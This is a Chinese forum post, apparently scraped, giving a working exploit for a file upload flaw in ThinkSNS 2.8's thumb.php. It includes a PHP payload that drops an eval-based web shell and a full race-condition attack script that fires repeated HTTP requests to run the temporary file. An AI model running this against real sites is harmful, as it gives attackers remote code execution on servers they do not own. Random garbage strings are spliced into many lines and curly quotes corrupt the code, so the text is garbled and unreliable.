Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
存在漏洞的文件为：thumb.php
2 T) i& Z7 u, {; {8 Z1 l' N作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
' e3 \% c, o- _) a文件内容如下：
( O1 o4 B/ I0 Q- a<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
, @" C: X( e* n0 \" F9 j4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
; x- X1 c+ [: Z+ zerror_reporting(0);
set_time_limit(0);
4 r+ f% w0 ^; N3 N; J0 ~ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
( i4 H% j6 Y1 }if (!$fp) die(‘Connection -> fail’);
* k  e4 D3 ?) j. N$ i& Y: ?$ }fputs($fp, $headers);
return $fp;
}
+ |' S' }% c9 W5 Tfunction http_recv($fp) {
, A' A) L) _0 A- }- V$ret=”";
5 T" O, x' ~. Z4 M& h# j% Bwhile (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
! W5 C9 d* g. Sprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
5 K. }/ A' R: gprint “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
6 m8 m" B5 u; T' V3 r}
$host = $argv[1];
: a! \: w: h/ M% |/ @9 J1 V* H, h6 l$path = $argv[2];
$url = $argv[3];
% b; N5 \. Q' q8 T$i=0;
//上传数据包
3 d+ i+ b  x: e7 M, s9 ~$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
1 c/ F- ]* P6 n) {* `: m. L$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
8 k, M% V1 v2 o5 m; M* v9 w4 xfclose(http_send($host, 80, $headers));
4 S# \. D/ _& a. X+ ~5 K}
/ ?9 |3 x& f$ n  Vfclose(http_send($host, 80, $headers_up));
3 [' ?8 `! R7 M/ Q- H6 W; s+ Owhile(++$i<50) {
9 e$ H' }  i+ g) E  O% ~fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
3 M5 h( q) }; N$res=http_recv(http_send($host, 80, $headers));
% R" ^5 ~( g) R8 q" G) q5 cif(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
1 i- Y1 ]$ g8 V- E8 z7 j& C} else {
print “Fail!\n\n”;
5 S- t8 i2 i. i/ R# V}
) R7 d' f+ E6 v8 ~4 ^- n?>
7 N( q; S; ]+ r1 D4 K; P1 X​